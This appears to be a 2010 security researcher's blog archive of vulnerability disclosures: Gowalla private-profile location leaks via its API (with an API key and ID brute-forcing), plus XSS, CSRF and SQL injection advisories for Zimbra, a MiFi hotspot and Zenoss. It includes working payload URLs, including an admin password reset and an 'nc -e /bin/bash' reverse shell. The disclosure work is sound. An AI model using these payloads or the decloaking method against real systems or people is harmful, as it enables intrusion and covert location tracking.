Mar 09 2010

Decloaking Gowalla Private Passport + bonus

It seems that every day people around me are sharing more and more “status” information with each other. Whether or not that is a good idea is best left for another conversation, but here’s an argument for not sharing: Like a lot of people, I tried out Gowalla. It was fun to spam my friends with random locations I was visiting, mindlessly whoring out information to the public about my whereabouts. I figured after using the service for a little while that it might be a good idea to just tell my friends about where I am rather than broadcast it to the whole world (pleaserobme.com), and enabled the private profile option.

Per Gowalla the private profile option will:

If you choose to turn Passport Privacy on, your stamps (the places you’ve been) and your items will only be visible to your friends.

Not wanting to take their word for it I had to take a look at the various ways of accessing the data that was to be private. Turns out that through a series of API calls this information is still available. The process I used is outlined below.

1. First we need to find a user to stalk decloak. You can either guess at a username (turns out a lot of people like to use the same Gowalla username as their twitter username, go figure). We will use mine for the sake of demonstration, but here is another protip: If you don’t know the username just go through ID’s and brute force all the accounts. It appears that Gowalla’s userids increment in a predictable manner. Also, it’s important to note that gowalla.com/users/adam_baldwin and gowalla.com/users/53172 bring up the same user information.

2. Now we need to find out the number of stamps a user has using the URL below. If the number is 0 there is a chance the profile is private.

http://gowalla.com/users/%d/stamps?limit=1

Making the request requires that you mimic the web api. So some fancy headers are in order. Something like..

headers = {‘User-Agent’:user_agent,
‘X-Requested-With’:'XMLHttpRequest’,
‘X-Gowalla-API-Key’: ‘fa574894bddc43aa96c556eb457b4009′,
‘Accept’:'application/json’,
}

3. Next we get the user information. If the stamp count is > 0 the profile is definitely cloaked (private) and we need to do a little more digging.

http://gowalla.com/users/%d.json

4. The following URL will give you all the locations in which the user has checked in. It’s not really all that useful as it’s just the location.

http://gowalla.com/spots?checkins_user_id=%d&order=checkins_count+desc

5. This is where things get interesting. If you use the checkins_url value from each spot in step 4 and go request the data, you get all of the checkins for that spot. Including the checkins for the user that are supposed to be private. Iterate through them looking to see which one has a user url that matches your targeted user and now you have date and time of the check in.

Here is what my passport looks at the time of this writing, go look for yourself at http://gowalla.com/users/adam_baldwin

Here is what the output of the decloak.py script.

53172   Adam Baldwin (adam_baldwin)
Texas
checkin – 2010-02-10T04:56:26+00:00
Washington
checkin – 2010-01-10T23:45:20+00:00
IAH George Bush Intercontinental
checkin – 2010-02-10T04:56:26+00:00
Airplane Waiting On Tarmac
checkin – 2010-02-12T15:08:22+00:00
Tri-Cities Airport (PSC)
checkin – 2010-02-12T22:41:51+00:00

If you bothered to read this far then YOU WIN A BONUS!!!! Gowalla recently released their read-only API for developers. It comes with a handy tool for testing out and learning the API.

Here is the URL as showing in the screenshot above. XSS ftw?

http://gowalla.com/api/explorer#/spots?lat=30.2697&lng=-97.7494&radius=50″><script>alert(‘xss’)</script>

Gowalla was notified on March 4th about these particular issues.

Mar 08 2010

Zimbra search skin XSS

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2010-004 - Zimbra search skin XSS
   Application: Zimbra
        Vendor: Zimbra
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS
Authentication: Valid session required

  I. BACKGROUND
     Zimbra [1] is an open-source and commercial messaging and collaboration software
     suite.

 II. DETAILS
     A cross-site script (XSS) vulnerability exists within the classic Zimbra web
     interface. This vulnerability exists due to improper output encoding of the
     skin parameter.

     Example:
     http://example.com/zimbra/h/search?skin=--><script src=""></script><!--&
     mesg=welcome&initial=true&app=

     The vendor states that this vulnerability is addressed in version 5.0.20 and
     6.0.2. "The 5.0.x series of releases was not vulnerable to this issue.  We
     applied the same change in 5.0.20 that went into 6.0.2, but that was just for
     safety.  In 5.0.x other code prohibited this exploit."
III. REFERENCES
     [1] - http://www.zimbra.com

 IV. VENDOR COMMUNICATION
     10.07.2009 - Vulnerability Discovery & Vendor Notification.
     10.08.2009 - Vendor bug filed.
     12.15.2009 - Follow-up to find out fix status.
     12.15.2009 - Vendor Statement that this has been addressed.

The contents of this advisory are copyright (c) nGenuity Information  Security
and may be distributed freely provided that no fee is charged  for this distribution
and proper credit is given.
Jan 14 2010

MiFi GeoPwn (GPS info via XSS+CSRF)

The MiFi by Novatel Wireless (re-branded and sold by multiple vendors such as Sprint and Verizon) is a mobile wifi hotspot. The mifi also has a built in GPS to provide location based searching. Turns out that the web interface to this little device has a lot going on that can be exploited, from gaining the user’s GPS data to terminating the user’s connectivity. Before we get into the details let’s start with a story that begins right after I found the initial vulnerabilities (besides notify the vendor).

12:19:58 AM Adam Brault (&yet): so tell me about the mifi pwn
12:20:24 AM Adam Baldwin: http://ngenuity.org/dev/mifi.html (code is not there now so don’t bother clicking)
12:20:33 AM Adam Baldwin: just read the source
12:20:35 AM Adam Baldwin: it’s simple
12:20:49 AM Adam Baldwin: changes your SSID to pwned and your secret key to javascript (and executes that javascript)

At this point my phone rings. Adam was apparently using his MiFi in a remote location at the time he clicked on the link I sent him. It was at that moment that we realized that a valid session was not required and that it would kill the connection for Verizon users with firmware version 11.43.2 (I think). Adam was without Internet and had to factory reset his MiFi.

So there are a few things going on that make this possible. I will try and detail them here.

1. Authentication not required.

The MiFi does not require a valid session to commit changes to configuration settings. This makes exploiting the below issues a lot easier when you don’t have to require that the victim have a valid session.

2. Enable GPS without the users knowledge.

The GPS on a MiFi can be enabled by visiting the following URL. Depending on the situation the victim may get a alert that says “Login Required” but if they are like the typical user they will simply click on it and forget it ever happened.

3. Cross-Site Request Forgery (CSRF)

The web interface does not validate referrer or use any magical tokens to protect against CSRF. This means that we can have a victim visit our malicious website and do evil things like change the wireless settings of the MiFi.

4. Output Encoding

In multiple locations of the MiFi web interface user input is not properly encoded when output back to the user. One interesting location is the key field for the wifi settings. I’m wondering why the hell somebody thought it was a good idea to print the wifi key in clear text back to the user, and in this case it’s not properly encoded either giving us a nice 63 character persistent injection point for script.

So for those that weren’t paying attention: Any MiFi user that visits a specially crafted page will give up their GPS location to the attacker.

Here is a video clip for the Sprint MiFi (firmware AP 11.47.17, router 018.0101) of the working proof of concept.
http://evilpacket.net/2010/jan/14/mifi-geopwn/

NGENUITY-2010-003
BID:
37830

Jan 14 2010

NGENUITY-2010-002 Zenoss Multiple Admin CSRF

nGenuity Information Services - Security Advisory
   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring tool. Much
     of the applications functionality is accessible via a front end web application.

 II. DETAILS
     Multiple CSRF vulnerabilities exist that can allow for arbitrary
     commands to be executed on the Zenoss server as well as reset the Zenoss
     admin password.

     Attack scenario: If an administrator has an active Zenoss
     session and visits one of these links or visits a malicious page that
     contains resources to point to these URL's

     1. Reset user password to a known state Cross-Site Request Forgery CSRF,
     in this case the password is reset to letmein.

http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&

        defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:
        boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&
        password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

     2. Change and execute a command CSRF.
     Change the ping command to be a netcat shell out to a remote system. In
     this case an internal system running on port 443

        http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
        /bin/bash 172.16.28.6 443&commandId=ping&description:text=&
        manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

     Execute the new "ping" command:

http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping
III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

Copyright (c) 2009 nGenuity Information Services, LLC
Jan 14 2010

NGENUITY-2010-001 Zenoss getJSONEventsInfo SQL Injection

nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2010-001 - Zenoss getJSONEventsInfo SQL Injection
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
           BID: 37802

  I. BACKGROUND
     "Zenoss Core is an award-winning open source IT monitoring product that
     effectively manages the configuration, health and performance of
     networks, servers and applications through a single, integrated
     software package." [1] 

II. DETAILS
    getJSONEventsInfo contains multiple SQL Injection vulnerabilities due to improperly
    sanitized user provided input. The following URL parameters are injectable: severity,
    state, filter, offset, and count.

    Authentication as an admin or regular user is required for successful exploitation.
    Depending on the type of attack, it may also be accomplished via Cross-Site Request
    Forgery (CSRF).

    A proof of concept request might look like this
      /zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=&
      offset=0&count=60 into outfile "/tmp/z"
III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

     Update 1.21.2010
     This vulnerability was fixed prior to version 2.5.

http://dev.zenoss.org/trac/changeset/15257

Copyright (c) 2009 nGenuity Information Services, LLC

WordPress Themes